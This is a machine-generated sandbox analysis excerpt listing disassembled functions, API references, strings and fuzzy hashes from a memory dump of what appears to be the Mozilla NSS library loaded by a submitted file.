%d:0x%lx, xrefs: 6C7E7EA9

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 5d3256640157840aad13a575c5d24bdd61d95a2deff33200f55c903077b84d76
Instruction ID: f2926b2558b62e998ad5f8eb4dcfcb97d045767744c8670c5943e5cf63b80c9f
Opcode Fuzzy Hash: 5d3256640157840aad13a575c5d24bdd61d95a2deff33200f55c903077b84d76
Instruction Fuzzy Hash: B6312572A041199BEB00DB69CA84AABB7A8FF0E348F140975D405A7613E7719D05C7D2

Function 6C6F4E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6F4E90
EnterCriticalSection.KERNEL32 ref: 6C6F4EA9
TlsGetValue.KERNEL32 ref: 6C6F4EC6
EnterCriticalSection.KERNEL32 ref: 6C6F4EDF
PL_HashTableLookup.NSS3 ref: 6C6F4EF8
PR_Unlock.NSS3 ref: 6C6F4F05
PR_Now.NSS3 ref: 6C6F4F13
PR_Unlock.NSS3 ref: 6C6F4F3A

Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07AD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07CD
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C65204A), ref: 6C6C07D6
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C65204A), ref: 6C6C07E4
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,6C65204A), ref: 6C6C0864
Part of subcall function 6C6C07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6C0880
Part of subcall function 6C6C07A0: TlsSetValue.KERNEL32(00000000,?,?,6C65204A), ref: 6C6C08CB
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08D7
Part of subcall function 6C6C07A0: TlsGetValue.KERNEL32(?,?,6C65204A), ref: 6C6C08FB

Strings

bUol, xrefs: 6C6F4F3F
bUol, xrefs: 6C6F4E5C

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUol$bUol
API String ID: 326028414-3807032079
Opcode ID: 450fa4a4de80b5af4c9e389e86dd5c1d35d6eaa4e59a7f2442a76871bdabe8d0
Instruction ID: 468212c1eb517da5675c96bca8cae987d190a273049d8fa28db1fc9547478d95
Opcode Fuzzy Hash: 450fa4a4de80b5af4c9e389e86dd5c1d35d6eaa4e59a7f2442a76871bdabe8d0
Instruction Fuzzy Hash: 9E415BB4A006059FDB10EF78C5888AABBF1FF89318B018569EC599B711EB30E855CFD5

Function 6C706C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C706C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C706C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C706CA3

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C706CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C706CD5

Strings

hSession = 0x%x, xrefs: 6C706C7E, 6C706C8E
pMechanism = 0x%p, xrefs: 6C706CD0
(CK_INVALID_HANDLE), xrefs: 6C706C9C
C_DigestInit, xrefs: 6C706C61
n~l, xrefs: 6C706CF4, 6C706D1F

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$n~l
API String ID: 1003633598-3398707085
Opcode ID: 72682353f65d5d168671563079063db39b07ff002fd2897d48524f6f3388191b
Instruction ID: 6b52c569debd8c200435ed6c2fea7c35f163e0b2bf0050c310d5afab4da0a73c
Opcode Fuzzy Hash: 72682353f65d5d168671563079063db39b07ff002fd2897d48524f6f3388191b
Instruction Fuzzy Hash: 9021E2717011049BCB209B94DF9DB4F37E5EB4621DF044434E80D97B02DB38AA88CBD6

Function 6C709DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C709DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C709E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C709E33

Part of subcall function 6C7ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C7ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C709E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C709E65

Strings

hSession = 0x%x, xrefs: 6C709E0E, 6C709E1E
flags = 0x%x, xrefs: 6C709E60
C_SessionCancel, xrefs: 6C709DF1
(CK_INVALID_HANDLE), xrefs: 6C709E2C
n~l, xrefs: 6C709E7D, 6C709EA8

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$n~l
API String ID: 1003633598-2041800689
Opcode ID: 16133f490e464327a63203e1cb4f3881914a81d2e4d39875747b6239d8a9b26b
Instruction ID: 845b3fb9373d9274c9d7df6b834270c282e23437348053132b6624038266c751
Opcode Fuzzy Hash: 16133f490e464327a63203e1cb4f3881914a81d2e4d39875747b6239d8a9b26b
Instruction Fuzzy Hash: FE21D2B2701104ABD7209B94DF8CB6A37B9EB5630DF044834E81D97712DB38AD48CBD2

Function 6C71ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C71DE64), ref: 6C71ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71ED22

Part of subcall function 6C72B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8018D0,?), ref: 6C72B095

PL_FreeArenaPool.NSS3(?), ref: 6C71ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C71ED6B
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C71ED38

Part of subcall function 6C654C70: TlsGetValue.KERNEL32(?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654C97
Part of subcall function 6C654C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CB0
Part of subcall function 6C654C70: PR_Unlock.NSS3(?,?,?,?,?,6C653921,6C8314E4,6C79CC70), ref: 6C654CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C71ED52
PR_CallOnce.NSS3(6C832AA4,6C7312D0), ref: 6C71ED83
PL_FreeArenaPool.NSS3(?), ref: 6C71ED95
PL_FinishArenaPool.NSS3(?), ref: 6C71ED9D

Part of subcall function 6C7364F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C73127C,00000000,00000000,00000000), ref: 6C73650E

Strings

security, xrefs: 6C71ED06

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 7dac7e4e75cda18f2cc5ca2438605dc78a95a4f297a32da7a1b546305f42ee0d
Instruction ID: f2bdf334ee79fce9e063a2656899fb79d035ae63255b032a091182acb65bb5b9
Opcode Fuzzy Hash: 7dac7e4e75cda18f2cc5ca2438605dc78a95a4f297a32da7a1b546305f42ee0d
Instruction Fuzzy Hash: C7116D76D0822867D7205665AE4DBBB7278BF4170CF081834E89866F42F724A71CD6DB

Function 6C7E0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C6C2357), ref: 6C7E0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C6C2357), ref: 6C7E0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C7E0EE6

Part of subcall function 6C7E09D0: PR_Now.NSS3 ref: 6C7E0A22
Part of subcall function 6C7E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C7E0A35
Part of subcall function 6C7E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7E0A66
Part of subcall function 6C7E09D0: PR_GetCurrentThread.NSS3 ref: 6C7E0A70
Part of subcall function 6C7E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7E0A9D
Part of subcall function 6C7E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7E0AC8
Part of subcall function 6C7E09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7E0AE8
Part of subcall function 6C7E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7E0B19
Part of subcall function 6C7E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7E0B48
Part of subcall function 6C7E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7E0C76
Part of subcall function 6C7E09D0: PR_LogFlush.NSS3 ref: 6C7E0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C7E0EFA

Part of subcall function 6C6CAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6CAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7E0F2B

Strings

Aborting, xrefs: 6C7E0EB3
Assertion failure: %s, at %s:%d, xrefs: 6C7E0ED9, 6C7E0EE5, 6C7E0F06, 6C7E0F0B

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 826e9892cd631fb5d955ce801790fdcf9ecb2fad3da90bb5424b617b130d4ce6
Instruction ID: a38dc0165f3a48608a701bfb092d2b1a19d6dcb00e3c74d33d595e5a6cde8657
Opcode Fuzzy Hash: 826e9892cd631fb5d955ce801790fdcf9ecb2fad3da90bb5424b617b130d4ce6
Instruction Fuzzy Hash: 90F0A4B69001147BEA103BA09C4DCAB3E2DDF46269F008434FD0956603DA39E914D6F3

Function 6C744DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C744DCB

Part of subcall function 6C730FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6D87ED,00000800,6C6CEF74,00000000), ref: 6C731000
Part of subcall function 6C730FF0: PR_NewLock.NSS3(?,00000800,6C6CEF74,00000000), ref: 6C731016
Part of subcall function 6C730FF0: PL_InitArenaPool.NSS3(00000000,security,6C6D87ED,00000008,?,00000800,6C6CEF74,00000000), ref: 6C73102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C744DE1

Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C7310F3
Part of subcall function 6C7310C0: EnterCriticalSection.KERNEL32(?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73110C
Part of subcall function 6C7310C0: PL_ArenaAllocate.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731141
Part of subcall function 6C7310C0: PR_Unlock.NSS3(?,?,?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C731182
Part of subcall function 6C7310C0: TlsGetValue.KERNEL32(?,6C6D8802,00000000,00000008,?,6C6CEF74,00000000), ref: 6C73119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C744DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C744E59

Part of subcall function 6C72FAB0: free.MOZGLUE(?,-00000001,?,?,6C6CF673,00000000,00000000), ref: 6C72FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C80300C,00000000), ref: 6C744EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C744EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C744F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C74521A

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 96eda211db9c875da11cfd4c89c65ca6f535480fe185577b40accc84ba0e1202
Instruction ID: a0b98659ee6c8094ac62b1c8f2a48105f83b244c71945e32ceaf25dc2c328981
Opcode Fuzzy Hash: 96eda211db9c875da11cfd4c89c65ca6f535480fe185577b40accc84ba0e1202
Instruction Fuzzy Hash: E4F19B71E00209CFDB04CF64E940BAEB7B2BF49358F258129E915AB781E775E981CB90

Function 6C6D4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C820148,?,6C6E6FEC), ref: 6C6D502A
PR_NewLock.NSS3(00000001,00000000,6C820148,?,6C6E6FEC), ref: 6C6D5034
PL_NewHashTable.NSS3(00000000,6C72FE80,6C72FD30,6C77C350,00000000,00000000,00000001,00000000,6C820148,?,6C6E6FEC), ref: 6C6D5055
PL_NewHashTable.NSS3(00000000,6C72FE80,6C72FD30,6C77C350,00000000,00000000,?,00000001,00000000,6C820148,?,6C6E6FEC), ref: 6C6D506D

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: e27672e616cfa326a5833c9574b7793e6205681a123c1d690433ebe24d7d3baf
Instruction ID: 86ed9f6f2b9beaf2f6630b3bc453bc05bd94d8842347e25032c46153060bb011
Opcode Fuzzy Hash: e27672e616cfa326a5833c9574b7793e6205681a123c1d690433ebe24d7d3baf
Instruction Fuzzy Hash: 3031D7F1B012105BEB309AA59A0CB5B3778FB1772CF129934E90987A42E37CB404CBE5

Function 6C672E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C672F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C672FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C673005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6730EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C673131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C673178

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C673022, 6C673156, 6C673162, 6C67318A, 6C673196, 6C6731A2, 6C6731AE, 6C6731BA, 6C6731C6
database corruption, xrefs: 6C67316C
%s at line %d of [%.10s], xrefs: 6C673171

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: d5daa52665f428cf50b6d277670616348ced0e49b8acc9b68e81ae3089d30376
Instruction ID: bb4063a5b792be051f64f0617add419a8790f979c8dd35ec1c31618784786d03
Opcode Fuzzy Hash: d5daa52665f428cf50b6d277670616348ced0e49b8acc9b68e81ae3089d30376
Instruction Fuzzy Hash: 25B18D70E05219DBCB28CF9DC885AEEBBB1BB48704F14886DE845B7B41D7749941CBA8

Function 6C6C2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C6C2D69

Strings

winTruncate2, xrefs: 6C6C2EF8
winSeekFile, xrefs: 6C6C2E9C
~l, xrefs: 6C6C2DD0
winUnmapfile2, xrefs: 6C6C2F7F
P~l, xrefs: 6C6C2E74, 6C6C2EC5, 6C6C2F32, 6C6C2F5C
winTruncate1, xrefs: 6C6C2EBE
winUnmapfile1, xrefs: 6C6C2F55
@~l, xrefs: 6C6C2E24

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __allrem
String ID: @~l$P~l$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$~l
API String ID: 2933888876-3831385450
Opcode ID: c9182910fffa88d659d270b2420474f20aa70e0a32b0cba674080246322442a8
Instruction ID: 23f17918c218862fe847ea3b1a3c592cdb1286ca8e6fa878b0eef2450547c141
Opcode Fuzzy Hash: c9182910fffa88d659d270b2420474f20aa70e0a32b0cba674080246322442a8
Instruction Fuzzy Hash: 4D61A371B002059FDB54CF68DC58AAA7BF1FB89314F108538ED19AB780DB35A906CBD5

Function 6C747F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C747FB2

Part of subcall function 6C6CBA40: TlsGetValue.KERNEL32 ref: 6C6CBA51
Part of subcall function 6C6CBA40: TlsGetValue.KERNEL32 ref: 6C6CBA6B
Part of subcall function 6C6CBA40: EnterCriticalSection.KERNEL32 ref: 6C6CBA83
Part of subcall function 6C6CBA40: TlsGetValue.KERNEL32 ref: 6C6CBAA1
Part of subcall function 6C6CBA40: _PR_MD_UNLOCK.NSS3 ref: 6C6CBAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6C747FD4

Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990AB
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C7990C9
Part of subcall function 6C799090: EnterCriticalSection.KERNEL32 ref: 6C7990E5
Part of subcall function 6C799090: TlsGetValue.KERNEL32 ref: 6C799116
Part of subcall function 6C799090: LeaveCriticalSection.KERNEL32 ref: 6C79913F

Part of subcall function 6C749430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6C749466

PR_ExitMonitor.NSS3(?), ref: 6C74801B
PR_EnterMonitor.NSS3(?), ref: 6C748034
TlsGetValue.KERNEL32 ref: 6C7480A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7480C0
PR_ExitMonitor.NSS3(?), ref: 6C74811C
PR_ExitMonitor.NSS3(?), ref: 6C748134

Strings

), xrefs: 6C7480DB

Memory Dump Source

Source File: 00000000.00000002.2016565834.000000006C651000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2016545967.000000006C650000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016681151.000000006C7EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016716316.000000006C82E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016739355.000000006C82F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016764202.000000006C830000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2016788140.000000006C835000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: f78b4939b6160ce5b400bd62cce8b001c0fb7a612805cb6b5bfdcb725c395354
Instruction ID: 6c90dcfa2eb4549631d058d7d21d7328026c956c7a6dfbecc20b0050f15c3906
Opcode Fuzzy Hash: f78b4939b6160ce5b400bd62cce8b001c0fb7a612805cb6b5bfdcb725c395354
Instruction Fuzzy Hash: E7511471A007089BE7219F34DE087AB77B0AF5234DF08853EDD5986A52E731A919C7D2

Function 6C6EFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C6EFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C6EFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C6EFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6EFD32
